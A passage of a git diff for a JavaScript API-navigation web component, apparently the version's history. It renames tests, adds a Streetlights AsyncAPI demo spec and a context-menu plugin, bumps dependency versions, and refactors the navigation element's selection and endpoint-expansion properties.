 rename test/{navigation => legacy-navigation}/amf-model.test.js (97%)
 create mode 100644 test/legacy-navigation/documentation-fragment.test.js
 rename test/{navigation => legacy-navigation}/oas-external-docs.test.js (90%)
 rename test/{navigation => legacy-navigation}/oas-security.test.js (95%)
 create mode 100644 test/legacy-navigation/security-fragment.test.js
 create mode 100644 test/legacy-navigation/type-fragment.test.js

diff --git a/.vscode/settings.json b/.vscode/settings.json
index e508437..903a1a1 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -35,6 +35,7 @@
     "dompurify",
     "fasttext",
     "formdata",
+    "graphload",
     "httpbin",
     "itemschange",
     "mimechange",
diff --git a/demo/api-navigation.js b/demo/api-navigation.js
index 06a50a2..535a891 100644
--- a/demo/api-navigation.js
+++ b/demo/api-navigation.js
@@ -4,6 +4,7 @@ import '@anypoint-web-components/awc/anypoint-checkbox.js';
 import '@anypoint-web-components/awc/anypoint-radio-button.js';
 import '@anypoint-web-components/awc/anypoint-radio-group.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
+import { NavigationContextMenu, NavigationContextMenuCommands } from '../index.js';
 import '../define/api-navigation.js';
 
 /** @typedef {import('../').NavigationLayout} NavigationLayout */
@@ -14,17 +15,26 @@ class ComponentPage extends AmfDemoBase {
   constructor() {
     super();
     this.initObservableProperties([ 
-      'summary', 'filter', 'edit', 'layout',
+      'summary', 'filter', 'edit', 'layout', 'endpointsExpanded',
     ]);
     this.componentName = 'api-navigation';
     this.noApiNavigation = true;
     this.summary = true;
     this.filter = false;
     this.edit = false;
+    this.endpointsExpanded = false;
     /** @type NavigationLayout */
     this.layout = undefined;
   }
 
+  firstRender() {
+    super.firstRender();
+    const nav = document.querySelector('api-navigation');
+    this.menu = new NavigationContextMenu(nav, { cancelNativeWhenHandled: true });
+    this.menu.registerCommands(NavigationContextMenuCommands);
+    this.menu.connect();
+  }
+
   /**
    * @param {CustomEvent} e
    */
@@ -52,7 +62,6 @@ class ComponentPage extends AmfDemoBase {
   }
 
   demoTemplate() {
-    const { loaded } = this;
     return html`
     <section class="documentation-section">
       <h3>Interactive demo</h3>
@@ -61,7 +70,7 @@ class ComponentPage extends AmfDemoBase {
       </p>
 
       <div class="api-demo-content">
-        ${!loaded ? html`<p>Load an API model first.</p>` : this.loadedTemplate()}
+        ${this.loadedTemplate()}
       </div>
     </section>
     `;
@@ -74,7 +83,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   componentTemplate() {
-    const { demoStates, darkThemeActive, summary, filter, edit, layout } = this;
+    const { demoStates, darkThemeActive, summary, filter, edit, layout, endpointsExpanded } = this;
     return html`
     <arc-interactive-demo
       .states="${demoStates}"
@@ -86,6 +95,7 @@ class ComponentPage extends AmfDemoBase {
         ?edit="${edit}"
         ?filter="${filter}"
         .layout="${layout}"
+        ?endpointsExpanded="${endpointsExpanded}"
         @apinavigate="${this._navigationHandler}"
         slot="content"
       >
@@ -119,6 +129,15 @@ class ComponentPage extends AmfDemoBase {
       >
         Edit mode
       </anypoint-checkbox>
+      <anypoint-checkbox
+        aria-describedby="mainOptionsLabel"
+        slot="options"
+        name="endpointsExpanded"
+        ?checked="${endpointsExpanded}"
+        @change="${this._toggleMainOption}"
+      >
+        Expand endpoints
+      </anypoint-checkbox>
 
       <label slot="options" id="mainOptionsLabel">Layout</label>
       <anypoint-radio-group slot="options" @select="${this._toggleLayoutOption}" attrForSelected="value" selectable="anypoint-radio-button">
@@ -151,6 +170,7 @@ class ComponentPage extends AmfDemoBase {
       ['google-drive-api', 'Google Drive'],
       ['mocking-service', 'Lots of methods'],
       ['no-endpoints', 'No endpoints!'],
+      ['streetlights', 'streetlights (unsorted for the tree layout)'],
       ['APIC-449', 'APIC-449'],
       ['APIC-554', 'APIC-554'],
       ['APIC-554-ii', 'APIC-554-ii'],
diff --git a/demo/apis/streetlights/streetlights.yaml b/demo/apis/streetlights/streetlights.yaml
new file mode 100644
index 0000000..eca6c5b
--- /dev/null
+++ b/demo/apis/streetlights/streetlights.yaml
@@ -0,0 +1,215 @@
+asyncapi: 2.0.0
+info:
+  title: Streetlights API
+  version: '1.0.0'
+  description: |
+    The Smartylighting Streetlights API allows you to remotely manage the city lights.
+
+    ### Check out its awesome features:
+
+    * Turn a specific streetlight on/off 🌃
+    * Dim a specific streetlight 😎
+    * Receive real-time information about environmental lighting conditions 📈
+  license:
+    name: Apache 2.0
+    url: https://www.apache.org/licenses/LICENSE-2.0
+
+servers:
+  production:
+    url: api.streetlights.smartylighting.com:{port}
+    protocol: mqtt
+    description: Test broker
+    variables:
+      port:
+        description: Secure connection (TLS) is available through port 8883.
+        default: '1883'
+        enum:
+          - '1883'
+          - '8883'
+    security:
+      - apiKey: []
+      - supportedOauthFlows:
+        - streetlights:on
+        - streetlights:off
+        - streetlights:dim
+      - openIdConnectWellKnown: []
+
+defaultContentType: application/json
+
+channels:
+  smartylighting/streetlights/1/0/event/{streetlightId}/lighting/measured:
+    description: The topic on which measured values may be produced and consumed.
+    parameters:
+      streetlightId:
+        $ref: '#/components/parameters/streetlightId'
+    subscribe:
+      summary: Receive information about environmental lighting conditions of a particular streetlight.
+      operationId: receiveLightMeasurement
+      traits:
+        - $ref: '#/components/operationTraits/kafka'
+      message:
+        $ref: '#/components/messages/lightMeasured'
+
+  smartylighting/streetlights/1/0/action/{streetlightId}/turn/on:
+    parameters:
+      streetlightId:
+        $ref: '#/components/parameters/streetlightId'
+    publish:
+      operationId: turnOn
+      traits:
+        - $ref: '#/components/operationTraits/kafka'
+      message:
+        $ref: '#/components/messages/turnOnOff'
+
+  smartylighting/streetlights/1/0/action/{streetlightId}/turn/off:
+    parameters:
+      streetlightId:
+        $ref: '#/components/parameters/streetlightId'
+    publish:
+      operationId: turnOff
+      traits:
+        - $ref: '#/components/operationTraits/kafka'
+      message:
+        $ref: '#/components/messages/turnOnOff'
+
+  smartylighting/streetlights/1/0/action/{streetlightId}/dim:
+    parameters:
+      streetlightId:
+        $ref: '#/components/parameters/streetlightId'
+    publish:
+      operationId: dimLight
+      traits:
+        - $ref: '#/components/operationTraits/kafka'
+      message:
+        $ref: '#/components/messages/dimLight'
+
+components:
+  messages:
+    lightMeasured:
+      name: lightMeasured
+      title: Light measured
+      summary: Inform about environmental lighting conditions for a particular streetlight.
+      contentType: application/json
+      traits:
+        - $ref: '#/components/messageTraits/commonHeaders'
+      payload:
+        $ref: "#/components/schemas/lightMeasuredPayload"
+    turnOnOff:
+      name: turnOnOff
+      title: Turn on/off
+      summary: Command a particular streetlight to turn the lights on or off.
+      traits:
+        - $ref: '#/components/messageTraits/commonHeaders'
+      payload:
+        $ref: "#/components/schemas/turnOnOffPayload"
+    dimLight:
+      name: dimLight
+      title: Dim light
+      summary: Command a particular streetlight to dim the lights.
+      traits:
+        - $ref: '#/components/messageTraits/commonHeaders'
+      payload:
+        $ref: "#/components/schemas/dimLightPayload"
+
+  schemas:
+    lightMeasuredPayload:
+      type: object
+      properties:
+        lumens:
+          type: integer
+          minimum: 0
+          description: Light intensity measured in lumens.
+        sentAt:
+          $ref: "#/components/schemas/sentAt"
+    turnOnOffPayload:
+      type: object
+      properties:
+        command:
+          type: string
+          enum:
+            - on
+            - off
+          description: Whether to turn on or off the light.
+        sentAt:
+          $ref: "#/components/schemas/sentAt"
+    dimLightPayload:
+      type: object
+      properties:
+        percentage:
+          type: integer
+          description: Percentage to which the light should be dimmed to.
+          minimum: 0
+          maximum: 100
+        sentAt:
+          $ref: "#/components/schemas/sentAt"
+    sentAt:
+      type: string
+      format: date-time
+      description: Date and time when the message was sent.
+
+  securitySchemes:
+    apiKey:
+      type: apiKey
+      in: user
+      description: Provide your API key as the user and leave the password empty.
+    supportedOauthFlows:
+      type: oauth2
+      description: Flows to support OAuth 2.0
+      flows:
+        implicit:
+          authorizationUrl: 'https://authserver.example/auth'
+          scopes:
+            'streetlights:on': Ability to switch lights on
+            'streetlights:off': Ability to switch lights off
+            'streetlights:dim': Ability to dim the lights
+        password:
+          tokenUrl: 'https://authserver.example/token'
+          scopes:
+            'streetlights:on': Ability to switch lights on
+            'streetlights:off': Ability to switch lights off
+            'streetlights:dim': Ability to dim the lights
+        clientCredentials:
+          tokenUrl: 'https://authserver.example/token'
+          scopes:
+            'streetlights:on': Ability to switch lights on
+            'streetlights:off': Ability to switch lights off
+            'streetlights:dim': Ability to dim the lights
+        authorizationCode:
+          authorizationUrl: 'https://authserver.example/auth'
+          tokenUrl: 'https://authserver.example/token'
+          refreshUrl: 'https://authserver.example/refresh'
+          scopes:
+            'streetlights:on': Ability to switch lights on
+            'streetlights:off': Ability to switch lights off
+            'streetlights:dim': Ability to dim the lights
+    openIdConnectWellKnown:
+      type: openIdConnect
+      openIdConnectUrl: 'https://authserver.example/.well-known'
+
+  parameters:
+    streetlightId:
+      description: The ID of the streetlight.
+      schema:
+        type: string
+
+  messageTraits:
+    commonHeaders:
+      headers:
+        type: object
+        properties:
+          my-app-header:
+            type: integer
+            minimum: 0
+            maximum: 100
+
+  operationTraits:
+    kafka:
+      bindings:
+        kafka:
+          groupId:
+            type: string
+            enum: ['myGroupId']
+          clientId:
+            type: string
+            enum: ['myClientId']
+          bindingVersion: '0.1.0'
diff --git a/demo/model.mjs b/demo/model.mjs
index b5a61e9..bc616e0 100644
--- a/demo/model.mjs
+++ b/demo/model.mjs
@@ -80,6 +80,7 @@ config.set('example-fragment/example-fragment.raml', { type: "RAML 1.0" });
 config.set('multi-server/multi-server.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('async-api/async-api.yaml', { type: "ASYNC 2.0" });
 config.set('Streetlights/Streetlights.yaml', { type: "ASYNC 2.0" });
+config.set('streetlights/streetlights.yaml', { type: "ASYNC 2.0" });
 config.set('api-keys/api-keys.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('oauth-flows/oauth-flows.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
 config.set('oas-bearer/oas-bearer.yaml', { type: "OAS 3.0", mime: 'application/yaml' });
diff --git a/index.d.ts b/index.d.ts
index 6cfb803..bd710d1 100644
--- a/index.d.ts
+++ b/index.d.ts
@@ -17,6 +17,7 @@ export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuth
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement';
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement';
+export { default as ApiNavigationLegacyElement } from './src/elements/ApiNavigationLegacyElement.js';
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement';
 export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement';
@@ -46,3 +47,5 @@ export { DomEventsAmfStore } from './src/store/DomEventsAmfStore';
 export { AmfStore } from './src/store/AmfStore';
 export { AmfStoreDomEventsMixin } from './src/store/mixins/AmfStoreDomEventsMixin';
 export { InMemAmfGraphStore } from './src/store/InMemAmfGraphStore';
+export { NavigationContextMenu } from './src/plugins/NavigationContextMenu';
+export { default as NavigationContextMenuCommands } from './src/plugins/NavigationCommands';
diff --git a/index.js b/index.js
index 0094df0..3bbfe85 100644
--- a/index.js
+++ b/index.js
@@ -16,8 +16,8 @@ export { default as ApiRequestEditorElement } from './src/elements/ApiRequestEdi
 export { default as ApiAuthorizationEditorElement } from './src/elements/ApiAuthorizationEditorElement.js';
 export { default as ApiAuthorizationMethodElement } from './src/elements/ApiAuthorizationMethodElement.js';
 export { default as ApiServerSelectorElement } from './src/elements/ApiServerSelectorElement.js';
-
 export { default as ApiNavigationElement } from './src/elements/ApiNavigationElement.js';
+export { default as ApiNavigationLegacyElement } from './src/elements/ApiNavigationLegacyElement.js';
 export { default as ApiSecurityDocumentElement } from './src/elements/ApiSecurityDocumentElement.js';
 export { default as ApiParametrizedSecuritySchemeElement } from './src/elements/ApiParametrizedSecuritySchemeElement.js';
 export { default as ApiSecurityRequirementDocumentElement } from './src/elements/ApiSecurityRequirementDocumentElement.js';
@@ -39,3 +39,5 @@ export { DomEventsAmfStore } from './src/store/DomEventsAmfStore.js';
 export { AmfStore } from './src/store/AmfStore.js';
 export { AmfStoreDomEventsMixin } from './src/store/mixins/AmfStoreDomEventsMixin.js';
 export { InMemAmfGraphStore } from './src/store/InMemAmfGraphStore.js';
+export { NavigationContextMenu } from './src/plugins/NavigationContextMenu.js';
+export { default as NavigationContextMenuCommands } from './src/plugins/NavigationCommands.js';
diff --git a/package-lock.json b/package-lock.json
index a91ec20..413447a 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -108,6 +108,16 @@
         "lit-html": "^1.4.1"
       }
     },
+    "@api-client/context-menu": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/@api-client/context-menu/-/context-menu-0.2.0.tgz",
+      "integrity": "sha512-OpOhXaXEihcQHm5WrgbjoHy/aSEzmc3g3s3gkUrqGxyPFGZYD/OF6iNdMV/HIMrjWK2LHw266s/Rxp5L60Kr0g==",
+      "requires": {
+        "@anypoint-web-components/awc": "^1.0.5",
+        "lit-element": "^2.5.1",
+        "lit-html": "^1.4.1"
+      }
+    },
     "@api-components/api-model-generator": {
       "version": "0.2.14",
       "resolved": "https://registry.npmjs.org/@api-components/api-model-generator/-/api-model-generator-0.2.14.tgz",
@@ -3557,7 +3567,6 @@
       "requires": {
         "anymatch": "~3.1.2",
         "braces": "~3.0.2",
-        "fsevents": "~2.3.2",
         "glob-parent": "~5.1.2",
         "is-binary-path": "~2.1.0",
         "is-glob": "~4.0.1",
@@ -4344,9 +4353,9 @@
       "dev": true
     },
     "eslint": {
-      "version": "8.0.1",
-      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.0.1.tgz",
-      "integrity": "sha512-LsgcwZgQ72vZ+SMp4K6pAnk2yFDWL7Ti4pJaRvsZ0Hsw2h8ZjUIW38a9AFn2cZXdBMlScMFYYgsSp4ttFI/0bA==",
+      "version": "8.1.0",
+      "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.1.0.tgz",
+      "integrity": "sha512-JZvNneArGSUsluHWJ8g8MMs3CfIEzwaLx9KyH4tZ2i+R2/rPWzL8c0zg3rHdwYVpN/1sB9gqnjHwz9HoeJpGHw==",
       "dev": true,
       "requires": {
         "@eslint/eslintrc": "^1.0.3",
@@ -5109,13 +5118,6 @@
       "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=",
       "dev": true
     },
-    "fsevents": {
-      "version": "2.3.2",
-      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
-      "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
-      "dev": true,
-      "optional": true
-    },
     "function-bind": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
@@ -6112,6 +6114,12 @@
         "marky": "^1.2.2"
       }
     },
+    "lilconfig": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.3.tgz",
+      "integrity": "sha512-EHKqr/+ZvdKCifpNrJCKxBTgk5XupZA3y/aCPY9mxfgBzmgh93Mt/WqjjQ38oMxXuvDokaKiM3lAgvSH2sjtHg==",
+      "dev": true
+    },
     "lines-and-columns": {
       "version": "1.1.6",
       "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz",
@@ -6119,18 +6127,19 @@
       "dev": true
     },
     "lint-staged": {
-      "version": "11.2.3",
-      "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.3.tgz",
-      "integrity": "sha512-Tfmhk8O2XFMD25EswHPv+OYhUjsijy5D7liTdxeXvhG2rsadmOLFtyj8lmlfoFFXY8oXWAIOKpoI+lJe1DB1mw==",
+      "version": "11.2.4",
+      "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.4.tgz",
+      "integrity": "sha512-aTUqcPDSV05EyKlMT4N5h7tmnevKfAxI3xZkRb+DHfmcFaoCxfxVvpqlLMCVGy3EYle9JYER2nA5zc4eNTkZVQ==",
       "dev": true,
       "requires": {
         "cli-truncate": "2.1.0",
         "colorette": "^1.4.0",
         "commander": "^8.2.0",
-        "cosmiconfig": "^7.0.1",
         "debug": "^4.3.2",
         "enquirer": "^2.3.6",
         "execa": "^5.1.1",
+        "js-yaml": "^4.1.0",
+        "lilconfig": "^2.0.3",
         "listr2": "^3.12.2",
         "micromatch": "^4.0.4",
         "normalize-path": "^3.0.0",
@@ -6140,10 +6149,16 @@
         "supports-color": "8.1.1"
       },
       "dependencies": {
+        "argparse": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
+          "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
+          "dev": true
+        },
         "commander": {
-          "version": "8.2.0",
-          "resolved": "https://registry.npmjs.org/commander/-/commander-8.2.0.tgz",
-          "integrity": "sha512-LLKxDvHeL91/8MIyTAD5BFMNtoIwztGPMiM/7Bl8rIPmHCZXRxmSWr91h57dpOpnQ6jIUqEWdXE/uBYMfiVZDA==",
+          "version": "8.3.0",
+          "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz",
+          "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==",
           "dev": true
         },
         "debug": {
@@ -6155,6 +6170,15 @@
             "ms": "2.1.2"
           }
         },
+        "js-yaml": {
+          "version": "4.1.0",
+          "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
+          "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+          "dev": true,
+          "requires": {
+            "argparse": "^2.0.1"
+          }
+        },
         "ms": {
           "version": "2.1.2",
           "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
@@ -6173,18 +6197,26 @@
       }
     },
     "listr2": {
-      "version": "3.12.2",
-      "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.12.2.tgz",
-      "integrity": "sha512-64xC2CJ/As/xgVI3wbhlPWVPx0wfTqbUAkpb7bjDi0thSWMqrf07UFhrfsGoo8YSXmF049Rp9C0cjLC8rZxK9A==",
+      "version": "3.13.1",
+      "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.13.1.tgz",
+      "integrity": "sha512-pk4YBDA2cxtpM8iLHbz6oEsfZieJKHf6Pt19NlKaHZZVpqHyVs/Wqr7RfBBCeAFCJchGO7WQHVkUPZTvJMHk8w==",
       "dev": true,
       "requires": {
         "cli-truncate": "^2.1.0",
-        "colorette": "^1.4.0",
+        "colorette": "^2.0.16",
         "log-update": "^4.0.0",
         "p-map": "^4.0.0",
         "rxjs": "^6.6.7",
         "through": "^2.3.8",
         "wrap-ansi": "^7.0.0"
+      },
+      "dependencies": {
+        "colorette": {
+          "version": "2.0.16",
+          "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz",
+          "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==",
+          "dev": true
+        }
       }
     },
     "lit": {
@@ -7655,10 +7687,7 @@
       "version": "2.58.0",
       "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.58.0.tgz",
       "integrity": "sha512-NOXpusKnaRpbS7ZVSzcEXqxcLDOagN6iFS8p45RkoiMqPHDLwJm758UF05KlMoCRbLBTZsPOIa887gZJ1AiXvw==",
-      "dev": true,
-      "requires": {
-        "fsevents": "~2.3.2"
-      }
+      "dev": true
     },
     "run-parallel": {
       "version": "1.2.0",
diff --git a/package.json b/package.json
index c8fb3c2..7024fdd 100644
--- a/package.json
+++ b/package.json
@@ -37,6 +37,7 @@
     "@advanced-rest-client/icons": "^4.0.0",
     "@advanced-rest-client/uuid": "^4.0.0",
     "@anypoint-web-components/awc": "^1.0.5",
+    "@api-client/context-menu": "^0.2.0",
     "@open-wc/dedupe-mixin": "^1.3.0",
     "@pawel-up/data-mock": "^0.1.7",
     "amf-json-ld-lib": "0.0.14",
@@ -55,10 +56,10 @@
     "@web/test-runner": "^0.13.20",
     "@web/test-runner-playwright": "^0.8.8",
     "amf-client-js": "^4.7.8",
-    "eslint": "^8.0.1",
+    "eslint": "^8.1.0",
     "eslint-config-prettier": "^8.3.0",
     "husky": "^7.0.4",
-    "lint-staged": "^11.2.2",
+    "lint-staged": "^11.2.4",
     "sinon": "^11.1.2",
     "typescript": "^4.4.4",
     "typescript-lit-html-plugin": "^0.9.0",
diff --git a/src/elements/ApiNavigationElement.d.ts b/src/elements/ApiNavigationElement.d.ts
index fc46496..1fcf948 100644
--- a/src/elements/ApiNavigationElement.d.ts
+++ b/src/elements/ApiNavigationElement.d.ts
@@ -12,6 +12,7 @@ import {
   SelectionType, 
   SchemaAddType,
   NavigationLayout,
+  DocumentMeta,
 } from '../types';
 
 export declare const apiIdValue: unique symbol;
@@ -107,6 +108,8 @@ export declare const addSchemaInputTemplate: unique symbol;
 export declare const addSchemaKeydownHandler: unique symbol;
 export declare const commitNewSchema: unique symbol;
 export declare const addingSchemaTypeValue: unique symbol;
+export declare const graphChangeHandler: unique symbol;
+export declare const documentMetaValue: unique symbol;
 
 /**
  * @fires graphload
@@ -186,30 +189,15 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
    * The currently focused item.
    */
   get focusedItem(): HTMLElement | undefined;
-
-  /** 
-   * When this property change the element queries the graph store for the data model.
-   * It can be skipped when the application calls the `queryGraph()` method imperatively.
-   * @attribute
-   */
-  apiId: string;
   /**
-  * A model `@id` of selected documentation part.
-  * Special case is for `summary` view. It's not part of an API
-  * but most applications has some kins of summary view for the
-  * API.
+  * The domain id that is currently being selected.
   * @attribute
   */
-  selected: string;
+  domainId: string;
   /**
    * Type of the selected item.
-   * One of `documentation`, `type`, `security`, `endpoint`, `operation`
-   * or `summary`.
-   *
-   * This property is set after `selected` property.
-   * @attribute
    */
-  selectedType: string;
+  get domainType(): SelectionType;
   /**
    * If set it renders `API summary` menu option.
    * It will allow to set `selected` and `selectedType` to `summary`
@@ -292,6 +280,21 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
   * @attribute
   */
   edit: boolean;
+  /** 
+   * When set it expands or opens all endpoints and makes all operations visible.
+   * Note, the user can toggle an endpoint anyway so this property does not mean
+   * that all endpoints are expanded. When it's true then it means that all endpoints
+   * was expanded at some point in time.
+   * @attribute
+   */
+  endpointsExpanded: boolean;
+
+  /**
+   * @return True when the summary entry is rendered.
+   * Summary should be rendered only when `summary` is set and current model is not a RAML fragment.
+   */
+  get summaryRendered(): boolean;
+  get documentMeta(): DocumentMeta;
 
   constructor();
 
diff --git a/src/elements/ApiNavigationElement.js b/src/elements/ApiNavigationElement.js
index 007d93a..0b653eb 100644
--- a/src/elements/ApiNavigationElement.js
+++ b/src/elements/ApiNavigationElement.js
@@ -7,6 +7,7 @@ import { LitElement, html } from 'lit-element';
 import { EventsTargetMixin } from '@anypoint-web-components/awc';
 import { styleMap } from 'lit-html/directives/style-map.js';
 import { classMap } from 'lit-html/directives/class-map.js';
+import { ifDefined } from 'lit-html/directives/if-defined.js';
 import { HttpStyles } from '@advanced-rest-client/app';
 import '@anypoint-web-components/awc/anypoint-icon-button.js';
 import '@anypoint-web-components/awc/anypoint-collapse.js';
@@ -42,7 +43,9 @@ import { cancelEvent } from '../lib/Utils.js'
 
 export const queryingValue = Symbol('queryingValue');
 export const abortControllerValue = Symbol('abortControllerValue');
-export const selectedValue = Symbol('selectedValue');
+export const domainIdValue = Symbol('domainIdValue');
+export const domainTypeValue = Symbol('domainTypeValue');
+export const endpointsExpandedValue = Symbol('endpointsExpandedValue');
 export const documentationsValue = Symbol('documentationsValue');
 export const schemasValue = Symbol('schemasValue');
 export const securityValue = Symbol('securityValue');
@@ -155,22 +158,30 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
   }
 
   /** 
-   * @returns {string|undefined} The current selected domain id.
+   * @returns {string|undefined} The current selection domain id.
    */
-  get selected() {
-    return this[selectedValue];
+  get domainId() {
+    return this[domainIdValue];
   }
 
   /** 
    * @returns {string|undefined} The domain id that is currently being selected.
    */
-  set selected(value) {
-    const old = this[selectedValue];
+  set domainId(value) {
+    const old = this[domainIdValue];
     if (old === value) {
       return;
     }
-    this[selectedValue] = value;
-    this.requestUpdate('selected', old);
+    this[domainIdValue] = value;
+    this.requestUpdate('domainId', old);
+    this.select(value);
+  }
+
+  /**
+   * @returns {SelectionType}Type of the selected domain item.
+   */
+  get domainType() {
+    return this[domainTypeValue];
   }
 
   /**
@@ -254,6 +265,41 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
     this.requestUpdate('layout', old);
   }
 
+  /** @returns {boolean} */
+  get endpointsExpanded() {
+    if (typeof this[endpointsExpandedValue] !== 'boolean') {
+      return false;
+    }
+    return this[endpointsExpandedValue];
+  }
+
+  /** @param {boolean} value */
+  set endpointsExpanded(value) {
+    const old = this[endpointsExpandedValue];
+    if (old === value) {
+      return;
+    }
+    this[endpointsExpandedValue] = value;
+    if (value) {
+      this.expandAllEndpoints();
+    } else {
+      this.collapseAllEndpoints();
+    }
+  }
+
+  /**
+   * @return {boolean} True when the summary entry is rendered.
+   * Summary should be rendered only when `summary` is set and current model is not a RAML fragment.
+   */
+  get summaryRendered() {
+    const { summary, documentMeta } = this;
+    if (!summary || !documentMeta) {
+      return false;
+    }
+    const { isFragment, isLibrary } = documentMeta;
+    return !isFragment && !isLibrary;
+  }
+
   static get properties() {
     return {
       /** 
@@ -267,18 +313,10 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
        * but most applications has some kins of summary view for the
        * API.
        */
-      selected: { type: String, reflect: true },
-      /**
-        * Type of the selected item.
-        * One of `documentation`, `type`, `security`, `endpoint`, `operation`
-        * or `summary`.
-        *
-        * This property is set after `selected` property.
-        */
-      selectedType: { type: String, reflect: true },
+      domainId: { type: String, reflect: true },
       /**
         * If set it renders `API summary` menu option.
-        * It will allow to set `selected` and `selectedType` to `summary`
+        * It will allow to set `domainId` and `domainType` to `summary`
         * when this option is set.
         */
       summary: { type: Boolean, reflect: true },
@@ -346,6 +384,13 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
        * The user can double-click on a menu item and edit its name.
        */
       edit: { type: Boolean, reflect: true, },
+      /** 
+       * When set it expands or opens all endpoints and makes all operations visible.
+       * Note, the user can toggle an endpoint anyway so this property does not mean
+       * that all endpoints are expanded. When it's true then it means that all endpoints
+       * was expanded at some point in time.
+       */
+      endpointsExpanded: { type: Boolean, reflect: true, },
     };
   }
 
@@ -770,6 +815,11 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
     const { graphId, graphShape } = node.dataset;
     if (graphId && graphShape) {
       this[makeSelection](graphId, /** @type SelectionType */ (graphShape));
+    } else {
+      // this is probably the abstract endpoint from the EndpointTree class.
+      // We are preventing default so the element can ignore focusing on the item.
+      e.preventDefault();
+      e.stopPropagation();
     }
   }
 
@@ -1201,9 +1251,9 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
       return;
     }
     this[selectedItemValue] = element;
-    this[deselectItem](this.selected, this.selectedType);
-    this.selected = id;
-    this.selectedType = type;
+    this[deselectItem](this.domainId, this.domainType);
+    this[domainIdValue] = id;
+    this[domainTypeValue] = type;
     if (id === 'summary') {
       this[summarySelected] = true;
     } else {
@@ -1347,6 +1397,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
         this[openedEndpointsValue].push(graphId);
       }
     });
+    this[endpointsExpandedValue] = true;
     this.requestUpdate();
   }
 
@@ -1355,6 +1406,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
    */
   collapseAllEndpoints() {
     this[openedEndpointsValue] = [];
+    this[endpointsExpandedValue] = false;
     this.requestUpdate();
   }
 
@@ -1720,8 +1772,8 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
    * @return {TemplateResult|string} The template for the summary filed.
    */
   [summaryTemplate]() {
-    const { summary, summaryLabel, documentMeta } = this;
-    if (!summary || !summaryLabel || !documentMeta || documentMeta.isFragment) {
+    const { summaryRendered, summaryLabel } = this;
+    if (!summaryRendered || !summaryLabel) {
       return '';
     }
     const selected = this[summarySelected];
@@ -1791,7 +1843,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
           ?anypoint="${this.anypoint}"
           tabindex="-1"
         >
-          <arc-icon aria-label="${toggleState}" icon="keyboardArrowDown"></arc-icon>
+          <arc-icon aria-label="${toggleState}" role="img" icon="keyboardArrowDown"></arc-icon>
         </anypoint-icon-button>
       </div>
       <anypoint-collapse
@@ -1832,7 +1884,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
       part="api-navigation-list-item"
       class="${classMap(classes)}"
       data-path="${path}"
-      data-graph-id="${id}"
+      data-graph-id="${ifDefined(id)}"
       data-graph-shape="resource"
       @click="${this[itemClickHandler]}"
       title="Open this endpoint"
@@ -1876,7 +1928,7 @@ export default class ApiNavigationElement extends EventsTargetMixin(LitElement)
       data-graph-id="${id}"
